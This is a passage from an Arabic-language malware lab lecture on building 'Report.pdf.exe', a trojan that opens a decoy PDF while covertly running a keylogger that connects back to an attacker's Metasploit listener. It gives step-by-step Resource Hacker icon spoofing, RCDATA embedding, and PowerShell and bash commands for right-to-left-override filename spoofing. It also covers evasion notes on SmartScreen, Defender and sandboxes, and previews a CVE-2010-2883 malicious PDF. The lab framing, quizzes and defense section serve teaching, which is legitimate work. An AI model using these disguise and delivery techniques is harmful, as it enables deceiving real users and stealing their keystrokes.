ماذا يجب أن ترى (بعد Run anyway)
powershell
# 1. Adobe Reader (أو Edge) يفتح ملف PDF شرعي# → الضحية لا ترى شيئا غريبا# 2. في الخلفية — تحقق أن الـ Keylogger يعمل:Get-Process wmupdate -ErrorAction SilentlyContinue
# → موجود، بلا نافذة# 3. تحقق من مساره:Test-Path"$env:APPDATA\Microsoft\Windows\Update\wmupdate.exe"# → True# 4. على المهاجم:# msfconsole → استقبال الاتصال العكسي# (نفس ما فعلناه في المحاضرة 1)# 5. تحقق MOTW على الملف الأصلي:Get-Content .\Report.pdf.exe -Stream Zone.Identifier
# → موجود (لأنه جاء من SMB مثل من الإنترنت)
⚠️ بعد كل تجربة أعد VM الضحية إلى Snapshot نظيف. لا تختبر ملفا ثانيا على نفس النظام المُلوَّث، النتائج ستكون ملوّثة بأثر التجربة السابقة.
🎨 لمسة أخيرة: تحسين الأيقونة وخدعة RLO على الاسم
تحسين الأيقونة: قد تكون الأيقونة سيئة في حجم معين (16×16) لأن pdf.ico لم يحتوِ ذلك الحجم. الطريق: افحص أحجام الأيقونات داخل Report.pdf.exe في Resource Hacker، وأعد بناء pdf.ico بأحجام كاملة إن لزم.
📖 دليل خطوة-بخطوة: Resource Hacker من التحميل إلى التعديل
ستجد رابطين: — EXE install، نسخة مثبِّت عادية (تنشئ اختصارات في Start Menu). — ZIP install، نسخة محمولة (Portable): فك الضغط في أي مجلد وشغّل ResourceHacker.exe مباشرة.
للاستخدام الدراسي يفضل ZIP لأنها لا تحتاج صلاحيات إدارية.
2. التثبيت:
إذا اخترت EXE install: انقر مزدوجا على الملف → Next → اقبل الترخيص → Install → Finish.
إذا اخترت ZIP: انقر يمين على ملف الـ ZIP → Extract All... → اختر مجلدا (مثلا C:\Tools\ResourceHacker) → Extract.
3. أول تشغيل، التعرف على الواجهة:
شغّل ResourceHacker.exe بنقرة مزدوجة. النافذة الرئيسية مقسمة إلى ثلاث مناطق:
يفتح مربع الاستبدال: يضع أيقونة جديدة مكان الحالية
Delete Resource
يحذف المجموعة كاملة (احذر: الملف يصبح بلا أيقونة)
Copy
ينسخ المورد للحافظة
Rename Resource...
لتغيير اسم أو رقم المورد
8. تصدير جميع مقاسات الأيقونة:
انقر يمين على Icon Group : 1 : 1033.
اختر Save Resource as a *.ico file....
تظهر نافذة Save As.
تنقل إلى المجلد الهدف (مثلا C:\Users\...\Desktop\IconsExport\).
اكتب اسم الملف (مثلا original_icon.ico) → Save.
الملف الناتج يحتوي كل المقاسات التي كانت في المجموعة (16, 32, 48, 256…).
9. مراجعة جودة كل مقاس في File Explorer:
افتح مجلد التصدير في File Explorer.
من View في Explorer: — Small icons، يظهر 16×16 — Medium icons، يظهر 32×32 أو 48×48 — Large icons، يظهر 96×96 تقريبا — Extra large icons، يظهر 256×256
أي مقاس ضبابي أو مشوّه = المصمم الأصلي لم يدرجه بجودة كافية → يجب إعادة بناء pdf.ico.
الجزء الثالث، استبدال الأيقونة بأخرى محسنة:
10. استخدام Replace Icon:
من Toolbar: Action → Replace Icon... (أو انقر يمين على Icon Group واختر Replace Icon...).
يظهر مربع حوار Replace Icon بالحقول: — زر Open file with new icon... أعلى: اضغطه واختر ملف الأيقونة الجديد (pdf.ico بأحجام كاملة). — قائمة يسرى: تعرض مجموعات الأيقونات في Report.pdf.exe الأصلي. حدد Icon Group : 1 : 1033. — قائمة يمنى: تعرض مجموعات الأيقونات في الملف الجديد. حدد المجموعة المطلوبة. — زر Replace أسفل: ينفّذ الاستبدال. — زر Cancel: يلغي بلا تغيير.
اضغط Replace.
المربع يغلق تلقائيا، وتشاهد الأيقونة الجديدة في Value Pane.
11. حفظ التعديلات:
من Toolbar: File → Save (أو Ctrl+S).
تحذير مهم: هذا الأمر يستبدلReport.pdf.exe في مكانه دون سؤال.
لتفادي فقدان النسخة الأصلية: File → Save As... واحفظ باسم مختلف (مثلا Report.pdf.new.exe).
Resource Hacker ينشئ تلقائيا نسخة احتياطية بامتداد _original.exe بجانب الملف الأصلي.
12. التحقق النهائي:
أغلق Resource Hacker (File → Exit أو Alt+F4).
افتح File Explorer وانتقل لمجلد Report.pdf.exe.
اضغط F5 لتحديث العرض.
يجب أن تظهر الأيقونة الجديدة على الملف فورا.
إذا لم تظهر: Windows يخزّن الأيقونات في Icon Cache. الحلول: — غيّر عرض المجلد إلى Details ثم عُد إلى Large icons — أعد تشغيل عملية explorer.exe من Task Manager
13. بناء pdf.ico جديد بكل الأحجام (لو الأصلي ناقص):
bash
# داخل WSL Ubuntu:# جهّز 4 صور PNG بأحجام مختلفة (يمكن أخذها من icons8.com):# pdf-16.png pdf-32.png pdf-48.png pdf-256.png# اجمعها في ملف .ico واحد:
convert pdf-16.png pdf-32.png pdf-48.png pdf-256.png pdf.ico
# للأناقة، أضف حجم 24 و 64 و 128:
convert pdf-16.png pdf-24.png pdf-32.png pdf-48.png \
pdf-64.png pdf-128.png pdf-256.png pdf.ico
14. مصادر أيقونات PDF جاهزة:
https://icons8.com/icon/set/pdf/color، أيقونات ملونة عالية الجودة.
https://iconarchive.com/tag/pdf، أرشيف واسع.
https://icoconvert.com، تحويل PNG → ICO بأحجام متعددة عبر المتصفح.
📖 السيناريو الثاني: إضافة مورد RCDATA جديد لـ EXE موجود
إذا أردت تضمين PDF أو أي ملف داخل EXE بدون إعادة بناء الكود (يدويا عبر Resource Hacker):
افتح EXE في Resource Hacker (File → Open).
من Toolbar: Action → Add a new Resource....
يظهر مربع Add a new Resource بالحقول:
الحقل
ما تضع فيه
Select File to add as new Resource (زر Open File with New Resource...)
اضغط الزر واختر ملف PDF (مثلا manual.pdf)
Resource Type
اكتب يدويا: RCDATA (كلها كبيرة، بلا اقتباس)
Resource Name
اسم مميز يستخدمه برنامجك (TEST_PDF, USER_MANUAL): كبيرة، بلا فراغات
Resource Language
أدخل 1033 (English-US)
اضغط Add Resource أسفل الحوار.
يغلق الحوار، ويظهر في الشجرة فرع جديد RCDATA → TEST_PDF → 1033.
عند تحديده، Value Pane يعرض البيانات كـ Hex Dump.
احفظ (Ctrl+S).
حجم الـ EXE يزيد بمقدار حجم الـ PDF تقريبا.
للتحقق من التضمين:
أغلق واعد فتح الـ EXE.
تأكد وجود RCDATA → TEST_PDF → 1033.
انقر يمين → Save Resource as a binary file... → احفظ بامتداد .pdf وافتح للتأكد.
⌨️ اختصارات لوحة المفاتيح المفيدة
الاختصار
الوظيفة
Ctrl+O
فتح ملف
Ctrl+S
حفظ التعديلات
Ctrl+F
البحث في الموارد
F5
تحديث/تجميع (Compile) بعد تعديل نصي
F3
البحث عن التالي
Alt+F4
إغلاق البرنامج
🎓 نصائح ختامية للمختبِر الأمني
دائما احتفظ بنسخة احتياطية من الـ EXE الأصلي قبل أي تعديل.
التوقيع الرقمي (Digital Signature) يتلف عند أي تعديل داخلي، أي EXE موقع يصبح غير موقع بعد الحفظ.
بعض Antivirus قد يحجب EXE المعدل لأن hash الملف تغيّر.
لا تعدل ملفات النظام في C:\Windows\System32، يسبب عدم استقرار Windows.
تطبيق RLO على الاسم النهائي على Windows (من PowerShell):
powershell
# على VM الضحية (بعد أن نزل Report.pdf.exe):$rlo = [char]0x202E
$oldName = "Report.pdf.exe"$newName = "Report" + $rlo + "fdp.exe"Rename-Item-LiteralPath".\$oldName" -NewName $newName# في Explorer الآن:# → Reportexe.pdf# + أيقونة PDF# + يفتح PDF فعلا عند النقر
بديل من WSL قبل الإرسال (يستخدم بايتات UTF-8 لحرف U+202E):
bash
# الحرف U+202E في UTF-8 = 0xE2 0x80 0xAE
newname=$(printf'Report\xe2\x80\xaefdp.exe')
mv Report.pdf.exe "$newname"ls-la# → ستشاهد "Reportexe.pdf" بسبب انعكاس الاتجاه في الطرفية
= أعلى مستوى وهم يمكن تحقيقه بلا توقيع رقمي.
✅ اختبر نفسك: القسم 9
عند النقر على الملف ظهر SmartScreen. ما الخطوتان اللتان يحتاجهما الضحية لتجاوزه؟ وماذا يعني ذلك عن واقعية الهجوم؟
كيف تحقّقتَ أن الحمولة تعمل في الخلفية دون أن ترى نافذة؟ اذكر الأمر.
لماذا حمل الملف MOTW رغم أنه جاء من مشاركة SMB محلية وليس من متصفح؟
ما الذي يجب أن تراه الضحية خلال الثانيتين الأوليين حتى لا تشكّ؟ ولماذا هذا التوقيت مهم؟
3/4 = تابع.
القسم 10القسم 10: من عيون الدفاع: VirusTotal و Any.Run
1. أنشئ حسابا مجانيا
2. Upload → اختر Report.pdf.exe
3. انتظر 30-60 ثانية
4. ستشاهد:
• X/70 محرك اكتشفه (عادة 30-50 لملف بدون تشفير)
• أسماء التصنيف (Trojan.GenericKD, ...)
• Behavior sandbox
• Sigma rules matched
⚠️ تحذير، الرفع علني ما ترفعه على VirusTotal يُشارك مع كل موردي مضادات الفيروسات (ومع أي مشترك مدفوع في الخدمة). - لا ترفع أدواتك الحقيقية - هذه للتعلم فقط، على عيّنات تعليمية
1. سجّل حسابا مجانيا (Community tier)
2. New Task → Upload file → اختر Report.pdf.exe
3. سيشغّله على Windows حي لمدة 5-7 دقائق
4. ستشاهد بالفيديو:
• فتح PDF الحقيقي
• إسقاط wmupdate.exe في %APPDATA%\...
• اتصال شبكي إلى IP المهاجم
• سجل كل التغييرات
⚠️ خصوصية Community tier الطبقة المجانية من Any.Run عامة، أي شخص يستطيع رؤية جلسة التحليل الخاصة بك. بعد رفعك: - عيّنة الملف أصبحت معروفة لكل موردي AV - بصمة الملف تدخل قواعد الكشف خلال ساعات - لا تعيد استخدام نفس الملف في اختبارات حقيقية بعدها
ما لم نتخطاه: وما الذي يعنيه ذلك
❌ لم نتخطاه
✅ ما تخطيناه فعلا
SmartScreen ما زال يظهر "Windows protected your PC" (نحتاج EV Code Signing Cert ~ $250/سنة)
أي فحص للامتداد فقط (لأننا لسنا ملفا مشبوها)
Windows Defender يكتشف الـ Keylogger الأصلي (نحتاج تعمية/تشفير)
المستخدم: إذا ضغط Run Anyway (وأغلب الناس تفعل لأن الأيقونة PDF ومحتوى الـ PDF شرعي)
VirusTotal: عالية التصنيف (نحتاج Packer + Crypter)
أي Sandbox لا يفتح EXE المضمّنة في Resources
EDR الحديث يرى شجرة العمليات Parent-Child
تفتيش السطحي على البريد (لو أرسلنا كمرفق، لأننا ملف واحد بلا macros)
لا Persistence بعد الإغلاق
الدرس الأكبر: كل طبقة دفاع لها ثغرة يوما. الأمان = طبقات كثيرة + تدريب المستخدم = Defense in Depth.
✅ اختبر نفسك: القسم 10
لماذا يُعدّ رفع أداتك الحقيقية إلى VirusTotal خطأً تشغيلياً جسيماً؟ من يرى ما ترفعه؟
ملفك اكتشفته 30-50 محركاً من ~70. هل هذا فشل للهجوم؟ اشرح جوابك بدلالة سيناريو الاستخدام.
ما الفرق بين ما يخبرك به VirusTotal وما يخبرك به Any.Run؟ أيّهما يكشف السلوك؟
لو أردت تقييم كشف ملفك دون مشاركته مع الموردين، ما البديل؟
3/4 = تابع. أقل = أعد قراءة التحذير حول علنية الرفع.
القسم 11القسم 11: الخلاصة والمحاضرة القادمة
أتقنتَ في هذه المحاضرة
المفاهيم:
بنية ملف PE (headers + sections)
الأيقونات كموارد داخل EXE
الامتدادات وقواعد الاختيار
RCDATA، تضمين أي ملف
ShellExecute + CreateProcess
Mark-of-the-Web + SmartScreen
خدع الأسماء (RLO + مزدوج)
الأدوات:
PE-bear (فحص EXE)
Resource Hacker (تعديل EXE)
Process Explorer (مراقبة)
Sysinternals streams (ADS)
CyberChef (خدع Unicode)
MinGW-w64 (البناء)
VirusTotal + Any.Run (تقييم)
الملف الذي بنيتَه
Report.pdf.exe (~200 KB)
✅ أيقونة PDF كاملة
✅ اسم يبدو PDF (مع RLO)
✅ يحمل داخله PDF شرعي
✅ يحمل داخله الـ Keylogger
✅ عند النقر: يفتح PDF مرئي + يشغّل Keylogger خفيا
✅ يعمل على Windows 11 كامل التحديث
المحاضرة القادمة (2B): الطريقة التالية
PDF ملغم يستغل ثغرة CVE-2010-2883 في Adobe Reader = لا حاجة لخداع المستخدم، الثغرة نفسها تفعل كل شيء.
الدرس الأهم: لم نستخدم أي ثغرة برمجية، استخدمنا فهم النظام + الخداع البشري = ذلك سلاح المهاجم الحديث.
✅ اختبر نفسك: القسم 11
رتّب المفاهيم السبعة للمحاضرة حسب أهميتها في نجاح الهجوم من وجهة نظرك، وبرّر ترتيبك.
من الأدوات السبع التي استخدمتها، أيّها أداة مهاجم وأيّها أداة مدافع؟ وهل بعضها كلاهما؟
لو كان عليك تعطيل هذا الهجوم بإعداد واحد فقط على أجهزة مؤسسة كاملة، أي إعداد تختار، ولماذا؟
ما الحدّ الأساسي لهذه الطريقة الذي تعالجه الطرق اللاحقة في المحاضرات 3 و 4؟
جوابك على السؤال 3 هو المؤشر الحقيقي على أنك فهمت المحاضرة، لا حفظتها.
ملحق أ: قائمة تحقق سريعة قبل التسليم
[ ] mingw-w64 مثبت داخل WSL
[ ] keylogger_edu.exe من المحاضرة 1 موجود في ~/lab/payloads/
[ ] decoy.pdf (أي PDF شرعي) جاهز
[ ] pdf.ico بأحجام متعددة جاهز
[ ] binder.cpp و binder.rc و build.sh منسوخة إلى ~/lab/build-B/
[ ] الشبكة المعزولة (VMnet2) تعمل بلا انترنت (اختبار: ping 8.8.8.8 يفشل)
[ ] Victim VM عليها Snapshot نظيف
[ ] SmartScreen و Defender مفعلان على Victim (لا نطفئهما)
هذه المادة تشرح كيف تعمل البرمجيات الخبيثة، فبعض الملاحظات — خاصّة
الفصلين 2A و3 — تحوي شيفرة هجوم حقيقية لغرض
التعليم. قد يضع Microsoft Defender بعض هذه الملفات في الحجر
لأن نصّها يطابق توقيعات معروفة. هذا سلوك متوقَّع من المادة التي تدرسها،
وليس إصابة فعلية لجهازك.
الأسلم: افتح الخزنة داخل الآلة الافتراضية المعزولة
(Victim VM) المخصّصة للمعمل — التحذير هناك لا يضرّك، وهذا هو
المكان الصحيح لكلّ عمل المعمل أصلاً.
إن اضطررت للعمل على جهازك المضيف مؤقتاً وأنت واعٍ بالمخاطرة:
أضف مجلد الخزنة وحده استثناءً مؤقتاً من Windows Security
← الحماية من الفيروسات والتهديدات ← إدارة الإعدادات ← الاستثناءات ←
إضافة مجلد، ثم أزِل الاستثناء فور انتهائك.
لا تستثنِ مجلد Downloads بأكمله، ولا تُطفئ
الحماية في الوقت الفعلي، ولا تفعل هذا على جهاز فيه بيانات تهمّك. استثناء
مجلد يعني أن ويندوز لن يفحص ما بداخله — سيف ذو حدّين.